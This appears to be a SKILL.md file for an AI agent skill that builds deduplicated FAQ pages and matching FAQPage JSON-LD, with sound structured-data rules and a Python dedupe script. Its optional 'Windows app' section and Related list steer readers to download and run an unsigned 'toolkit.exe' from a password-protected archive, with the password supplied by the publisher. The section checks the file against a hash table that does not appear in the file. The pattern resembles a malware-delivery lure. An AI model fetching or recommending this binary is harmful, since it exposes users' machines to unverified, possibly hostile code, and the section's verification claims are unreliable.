FAQ Schema Content Builder

Builds a deduplicated FAQ page and the JSON-LD that matches it, so the markup and the visible answers stay in sync. Written for US web teams and agencies shipping FAQ pages for retail, healthcare and support sites.

Use this skill when someone asks for:

• faq schema builder
• faq page json-ld
• faq structured data generator
• faq page template

The job

FAQ pages get marked up from a spreadsheet, so the schema describes questions the page no longer shows and the markup breaks.

What you get

1. Collect the question list from support, sales and the on-site search logs.
2. Deduplicate the questions so each one is answered once on the page.
3. Write the visible answer first, then the JSON-LD that mirrors it exactly.
4. Validate the pairs so every marked-up answer exists on the page and matches the visible text.

Output contract:

• questions - the deduplicated list with the source of each question
• answers - the visible answer text for each question
• json_ld - the FAQPage markup for the approved questions
• mismatches - the marked-up answers that do not match the visible text

US specifics that matter

• Google says FAQ rich results are limited to well-known, authoritative government and health websites, so most business FAQ pages will not get a rich result.
• Google's structured data policy requires the marked-up content to be visible on the page; the answer has to exist in the HTML.
• Google deprecated the HowTo rich result in September 2023, so an FAQ page should not carry how-to markup.
• The Schema.org FAQPage type expects a mainEntity array of Question items, each with an acceptedAnswer.

Guardrails (hard rules)

• Never mark up a question or an answer that is not visible on the page.
• Never invent a question the business does not answer, and never pad the page with fake entries.
• Never write a health answer that gives medical advice or a diagnosis.

Quickstart

1. Fill in the brief

templates/faq-questions.csv is the starting point. Copy it, fill in your own numbers, and keep the field names - the script reads them by name.

2. Run the script

python3 scripts/dedupe_faq_questions.py --input faq-questions.csv --out ./out

The script is standalone: Python 3 standard library only, no install step, no network calls, no API keys.

3. Check the result against the reference

references/faq-schema-rules.md holds the limits, the US rules and the checklist the output has to satisfy. Read it before you send anything to a customer or a platform.

How the markup has to line up

• The FAQPage JSON-LD holds a mainEntity array of Question objects.
• Each Question carries a name and an acceptedAnswer with a text field.
• The answer text in the markup has to match the visible answer, word for word.
• One FAQPage block per page; do not stack several markup blocks on one URL.

What Google does with FAQ markup

• FAQ rich results are limited to well-known authoritative government and health sites.
• Google requires the marked-up content to be visible on the page.
• Google deprecated the HowTo rich result in September 2023.

Getting the questions people actually ask

• Pull questions from support tickets, live chat transcripts and on-site search terms.
• Deduplicate near-identical questions before the page is written.
• Answer the question on the page before marking it up; markup never replaces an answer.

The Windows app (optional)

The workflow above runs anywhere Python 3 runs. If you also want the publisher's Windows multi-tool app for the workflows in this catalog, it is a separate download. This bundle does not contain it, does not install it, and never runs it - you decide whether to fetch it.

Check the download before you run it. PowerShell:

Get-FileHash .\multitool.zip -Algorithm SHA256

The hash must match the value in the table. Then extract the archive and start multitool/toolkit.exe.

The program is not code-signed, so Windows SmartScreen shows Unknown publisher. Run it only if you accept an unsigned program, keep it in a folder of its own, and do not run it as administrator unless you have a reason to.

The installer asks for a password; ask the publisher for it before you start.

Files in this bundle

• SKILL.md - this file
• references/faq-schema-rules.md - FAQ pages and FAQPage markup
• templates/faq-questions.csv - the brief to fill in
• scripts/dedupe_faq_questions.py - the working script

Verify the bundle

python3 scripts/dedupe_faq_questions.py --input faq-questions.csv --out ./out

Related

• AI Creative Studio - one brief into ad copy, social posts and video scripts.
• B2B Lead Research Agent - find the US accounts to run this against.
• AI Trading - research the tickers of public competitors before you write comparisons.
• Windows Multi-Tool Suite - one Windows kit that sets up all three workflows in a single folder.